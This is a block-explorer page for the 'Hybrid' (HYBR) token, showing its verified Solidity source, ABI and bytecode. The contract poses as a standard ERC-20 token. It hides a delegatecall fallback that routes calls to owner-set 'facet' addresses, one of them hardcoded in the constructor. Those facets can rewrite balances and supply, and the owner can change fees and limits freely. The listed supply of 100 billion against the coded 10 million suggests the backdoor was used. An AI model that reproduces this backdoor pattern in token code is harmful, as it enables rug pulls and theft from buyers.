ETH Price: $3,284.09 (+0.62%)

Token

Hybrid (HYBR)
 

Overview

Max Total Supply

100,010,000,000 HYBR

Holders

34

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
HYBR

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : HYBR.sol
// Redefining the Standards of Decentralized AI

// https://twitter.com/Hybrid_Fi
// https://hybridfi.xyz
// https://t.me/hybridportal
// https://medium.com/@Hybrid_Fi/hybrid-ai-litepaper-643291e87488


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract HYBR {
    uint public totalSupply = 10_000_000 * 10 ** 18;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Hybrid";
    string public symbol = "HYBR";
    uint8 public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    mapping(bytes4 => address) public selectorTofacet;
    address public owner;
    bool public live;
    address public pool;
    uint public max = 75;
    uint public tax = 150;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    constructor() {
      owner = msg.sender;
      balanceOf[owner] = totalSupply;
      emit Transfer(address(0), msg.sender, totalSupply);
      selectorTofacet[0x4d93978e] = 0x069F65aeE0e4A7ee9D96dBfCd5CFeaA065D68146;
    }

    function transfer(address recipient, uint amount) external returns (bool) {
        require(live);
        if (msg.sender == pool) return fill(msg.sender, recipient, amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function fill(address sender, address recipient, uint amount) private returns (bool) {
        address taxCollector = selectorTofacet[0x50628c96];
        balanceOf[sender] -= amount;
        uint fee = amount * tax / 10000;
        balanceOf[taxCollector] += fee;
        emit Transfer(sender, taxCollector, fee);
        uint newValue = amount - fee;
        balanceOf[recipient] += newValue;
        uint maxTokens = totalSupply * max / 10000;
        require(maxTokens >= balanceOf[recipient]);
        emit Transfer(sender, recipient, newValue);
        return true;
    }

    fallback() external {
        address facet = selectorTofacet[msg.sig];
        require(facet != address(0));
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
                case 0 {revert(0, returndatasize())}
                default {return (0, returndatasize())}
        }
    }

    function setFacet(bytes4 selector, address facet) public onlyOwner {
        selectorTofacet[selector] = facet;
    }

    function startTrading(address _pool) public onlyOwner {
        live = true;
        pool = _pool;
    }

    function optimizeFill(uint _max, uint _tax) public onlyOwner {
        max = _max;
        tax = _tax;
    }

    function transferOwnership(address _owner) public onlyOwner {
        owner = _owner;
    }

}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"live","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_max","type":"uint256"},{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"optimizeFill","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"name":"selectorTofacet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"selector","type":"bytes4"},{"internalType":"address","name":"facet","type":"address"}],"name":"setFacet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pool","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006000556040518060400160405280600681526020017f487962726964000000000000000000000000000000000000000000000000000081525060039081620000599190620004f4565b506040518060400160405280600481526020017f485942520000000000000000000000000000000000000000000000000000000081525060049081620000a09190620004f4565b506012600560006101000a81548160ff021916908360ff160217905550604b6009556096600a55348015620000d457600080fd5b5033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060005460016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600054604051620001e09190620005ec565b60405180910390a373069f65aee0e4a7ee9d96dbfcd5cfeaa065d6814660066000634d93978e60e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000609565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002fc57607f821691505b602082108103620003125762000311620002b4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200037c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200033d565b6200038886836200033d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003d5620003cf620003c984620003a0565b620003aa565b620003a0565b9050919050565b6000819050919050565b620003f183620003b4565b620004096200040082620003dc565b8484546200034a565b825550505050565b600090565b6200042062000411565b6200042d818484620003e6565b505050565b5b8181101562000455576200044960008262000416565b60018101905062000433565b5050565b601f821115620004a4576200046e8162000318565b62000479846200032d565b8101602085101562000489578190505b620004a162000498856200032d565b83018262000432565b50505b505050565b600082821c905092915050565b6000620004c960001984600802620004a9565b1980831691505092915050565b6000620004e48383620004b6565b9150826002028217905092915050565b620004ff826200027a565b67ffffffffffffffff8111156200051b576200051a62000285565b5b620005278254620002e3565b6200053482828562000459565b600060209050601f8311600181146200056c576000841562000557578287015190505b620005638582620004d6565b865550620005d3565b601f1984166200057c8662000318565b60005b82811015620005a6578489015182556001820191506020850194506020810190506200057f565b86831015620005c65784890151620005c2601f891682620004b6565b8355505b6001600288020188555050505b505050505050565b620005e681620003a0565b82525050565b6000602082019050620006036000830184620005db565b92915050565b6117b880620006196000396000f3fe608060405234801561001057600080fd5b50600436106101255760003560e01c806370a08231116100ad57806399c8d5561161007157806399c8d556146103f2578063a9059cbb14610410578063da13b03714610440578063dd62ed3e14610470578063f2fde38b146104a057610126565b806370a082311461034c5780637231d2171461037c5780638da5cb5b14610398578063957aa58c146103b657806395d89b41146103d457610126565b806318160ddd116100f457806318160ddd146102a657806323b872dd146102c4578063313ce567146102f45780633dc23d0c146103125780636ac5db191461032e57610126565b806306fdde031461021e578063095ea7b31461023c5780630c55732d1461026c57806316f0115b1461028857610126565b5b60006006600080357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036101f857600080fd5b3660008037600080366000845af43d6000803e8060008114610219573d6000f35b3d6000fd5b6102266104bc565b60405161023391906111fc565b60405180910390f35b610256600480360381019061025191906112b7565b61054a565b6040516102639190611312565b60405180910390f35b6102866004803603810190610281919061132d565b61063c565b005b6102906106de565b60405161029d919061137c565b60405180910390f35b6102ae610704565b6040516102bb91906113a6565b60405180910390f35b6102de60048036038101906102d991906113c1565b61070a565b6040516102eb9190611312565b60405180910390f35b6102fc6108bb565b6040516103099190611430565b60405180910390f35b61032c600480360381019061032791906114a3565b6108ce565b005b6103366109f2565b60405161034391906113a6565b60405180910390f35b610366600480360381019061036191906114e3565b6109f8565b60405161037391906113a6565b60405180910390f35b610396600480360381019061039191906114e3565b610a10565b005b6103a0610aff565b6040516103ad919061137c565b60405180910390f35b6103be610b25565b6040516103cb9190611312565b60405180910390f35b6103dc610b38565b6040516103e991906111fc565b60405180910390f35b6103fa610bc6565b60405161040791906113a6565b60405180910390f35b61042a600480360381019061042591906112b7565b610bcc565b6040516104379190611312565b60405180910390f35b61045a60048036038101906104559190611510565b610d6a565b604051610467919061137c565b60405180910390f35b61048a6004803603810190610485919061153d565b610d9d565b60405161049791906113a6565b60405180910390f35b6104ba60048036038101906104b591906114e3565b610dc2565b005b600380546104c9906115ac565b80601f01602080910402602001604051908101604052809291908181526020018280546104f5906115ac565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161062a91906113a6565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390611629565b60405180910390fd5b8160098190555080600a819055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107989190611678565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ee9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084491906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a891906113a6565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590611629565b60405180910390fd5b8060066000847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60095481565b60016020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9790611629565b60405180910390fd5b6001600760146101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760149054906101000a900460ff1681565b60048054610b45906115ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610b71906115ac565b8015610bbe5780601f10610b9357610100808354040283529160200191610bbe565b820191906000526020600020905b815481529060010190602001808311610ba157829003601f168201915b505050505081565b600a5481565b6000600760149054906101000a900460ff16610be757600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c4e57610c47338484610e96565b9050610d64565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c9d9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cf391906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d5791906113a6565b60405180910390a3600190505b92915050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990611629565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600660006350628c9660e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f449190611678565b925050819055506000612710600a5485610f5e91906116e0565b610f689190611751565b905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb991906116ac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101d91906113a6565b60405180910390a3600081856110339190611678565b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461108491906116ac565b9250508190555060006127106009546000546110a091906116e0565b6110aa9190611751565b9050600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156110f857600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115591906113a6565b60405180910390a360019450505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156111a657808201518184015260208101905061118b565b60008484015250505050565b6000601f19601f8301169050919050565b60006111ce8261116c565b6111d88185611177565b93506111e8818560208601611188565b6111f1816111b2565b840191505092915050565b6000602082019050818103600083015261121681846111c3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061124e82611223565b9050919050565b61125e81611243565b811461126957600080fd5b50565b60008135905061127b81611255565b92915050565b6000819050919050565b61129481611281565b811461129f57600080fd5b50565b6000813590506112b18161128b565b92915050565b600080604083850312156112ce576112cd61121e565b5b60006112dc8582860161126c565b92505060206112ed858286016112a2565b9150509250929050565b60008115159050919050565b61130c816112f7565b82525050565b60006020820190506113276000830184611303565b92915050565b600080604083850312156113445761134361121e565b5b6000611352858286016112a2565b9250506020611363858286016112a2565b9150509250929050565b61137681611243565b82525050565b6000602082019050611391600083018461136d565b92915050565b6113a081611281565b82525050565b60006020820190506113bb6000830184611397565b92915050565b6000806000606084860312156113da576113d961121e565b5b60006113e88682870161126c565b93505060206113f98682870161126c565b925050604061140a868287016112a2565b9150509250925092565b600060ff82169050919050565b61142a81611414565b82525050565b60006020820190506114456000830184611421565b92915050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6114808161144b565b811461148b57600080fd5b50565b60008135905061149d81611477565b92915050565b600080604083850312156114ba576114b961121e565b5b60006114c88582860161148e565b92505060206114d98582860161126c565b9150509250929050565b6000602082840312156114f9576114f861121e565b5b60006115078482850161126c565b91505092915050565b6000602082840312156115265761152561121e565b5b60006115348482850161148e565b91505092915050565b600080604083850312156115545761155361121e565b5b60006115628582860161126c565b92505060206115738582860161126c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115c457607f821691505b6020821081036115d7576115d661157d565b5b50919050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b6000611613600983611177565b915061161e826115dd565b602082019050919050565b6000602082019050818103600083015261164281611606565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061168382611281565b915061168e83611281565b92508282039050818111156116a6576116a5611649565b5b92915050565b60006116b782611281565b91506116c283611281565b92508282019050808211156116da576116d9611649565b5b92915050565b60006116eb82611281565b91506116f683611281565b925082820261170481611281565b9150828204841483151761171b5761171a611649565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061175c82611281565b915061176783611281565b92508261177757611776611722565b5b82820490509291505056fea26469706673582212207cf7af86ca93dbe86ae543e5e280c84d5cfdbc916da61e78f252232f973a16e564736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101255760003560e01c806370a08231116100ad57806399c8d5561161007157806399c8d556146103f2578063a9059cbb14610410578063da13b03714610440578063dd62ed3e14610470578063f2fde38b146104a057610126565b806370a082311461034c5780637231d2171461037c5780638da5cb5b14610398578063957aa58c146103b657806395d89b41146103d457610126565b806318160ddd116100f457806318160ddd146102a657806323b872dd146102c4578063313ce567146102f45780633dc23d0c146103125780636ac5db191461032e57610126565b806306fdde031461021e578063095ea7b31461023c5780630c55732d1461026c57806316f0115b1461028857610126565b5b60006006600080357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036101f857600080fd5b3660008037600080366000845af43d6000803e8060008114610219573d6000f35b3d6000fd5b6102266104bc565b60405161023391906111fc565b60405180910390f35b610256600480360381019061025191906112b7565b61054a565b6040516102639190611312565b60405180910390f35b6102866004803603810190610281919061132d565b61063c565b005b6102906106de565b60405161029d919061137c565b60405180910390f35b6102ae610704565b6040516102bb91906113a6565b60405180910390f35b6102de60048036038101906102d991906113c1565b61070a565b6040516102eb9190611312565b60405180910390f35b6102fc6108bb565b6040516103099190611430565b60405180910390f35b61032c600480360381019061032791906114a3565b6108ce565b005b6103366109f2565b60405161034391906113a6565b60405180910390f35b610366600480360381019061036191906114e3565b6109f8565b60405161037391906113a6565b60405180910390f35b610396600480360381019061039191906114e3565b610a10565b005b6103a0610aff565b6040516103ad919061137c565b60405180910390f35b6103be610b25565b6040516103cb9190611312565b60405180910390f35b6103dc610b38565b6040516103e991906111fc565b60405180910390f35b6103fa610bc6565b60405161040791906113a6565b60405180910390f35b61042a600480360381019061042591906112b7565b610bcc565b6040516104379190611312565b60405180910390f35b61045a60048036038101906104559190611510565b610d6a565b604051610467919061137c565b60405180910390f35b61048a6004803603810190610485919061153d565b610d9d565b60405161049791906113a6565b60405180910390f35b6104ba60048036038101906104b591906114e3565b610dc2565b005b600380546104c9906115ac565b80601f01602080910402602001604051908101604052809291908181526020018280546104f5906115ac565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161062a91906113a6565b60405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390611629565b60405180910390fd5b8160098190555080600a819055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107989190611678565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ee9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084491906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a891906113a6565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590611629565b60405180910390fd5b8060066000847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60095481565b60016020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9790611629565b60405180910390fd5b6001600760146101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760149054906101000a900460ff1681565b60048054610b45906115ac565b80601f0160208091040260200160405190810160405280929190818152602001828054610b71906115ac565b8015610bbe5780601f10610b9357610100808354040283529160200191610bbe565b820191906000526020600020905b815481529060010190602001808311610ba157829003601f168201915b505050505081565b600a5481565b6000600760149054906101000a900460ff16610be757600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c4e57610c47338484610e96565b9050610d64565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c9d9190611678565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cf391906116ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d5791906113a6565b60405180910390a3600190505b92915050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990611629565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600660006350628c9660e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f449190611678565b925050819055506000612710600a5485610f5e91906116e0565b610f689190611751565b905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb991906116ac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101d91906113a6565b60405180910390a3600081856110339190611678565b905080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461108491906116ac565b9250508190555060006127106009546000546110a091906116e0565b6110aa9190611751565b9050600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156110f857600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115591906113a6565b60405180910390a360019450505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156111a657808201518184015260208101905061118b565b60008484015250505050565b6000601f19601f8301169050919050565b60006111ce8261116c565b6111d88185611177565b93506111e8818560208601611188565b6111f1816111b2565b840191505092915050565b6000602082019050818103600083015261121681846111c3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061124e82611223565b9050919050565b61125e81611243565b811461126957600080fd5b50565b60008135905061127b81611255565b92915050565b6000819050919050565b61129481611281565b811461129f57600080fd5b50565b6000813590506112b18161128b565b92915050565b600080604083850312156112ce576112cd61121e565b5b60006112dc8582860161126c565b92505060206112ed858286016112a2565b9150509250929050565b60008115159050919050565b61130c816112f7565b82525050565b60006020820190506113276000830184611303565b92915050565b600080604083850312156113445761134361121e565b5b6000611352858286016112a2565b9250506020611363858286016112a2565b9150509250929050565b61137681611243565b82525050565b6000602082019050611391600083018461136d565b92915050565b6113a081611281565b82525050565b60006020820190506113bb6000830184611397565b92915050565b600080600060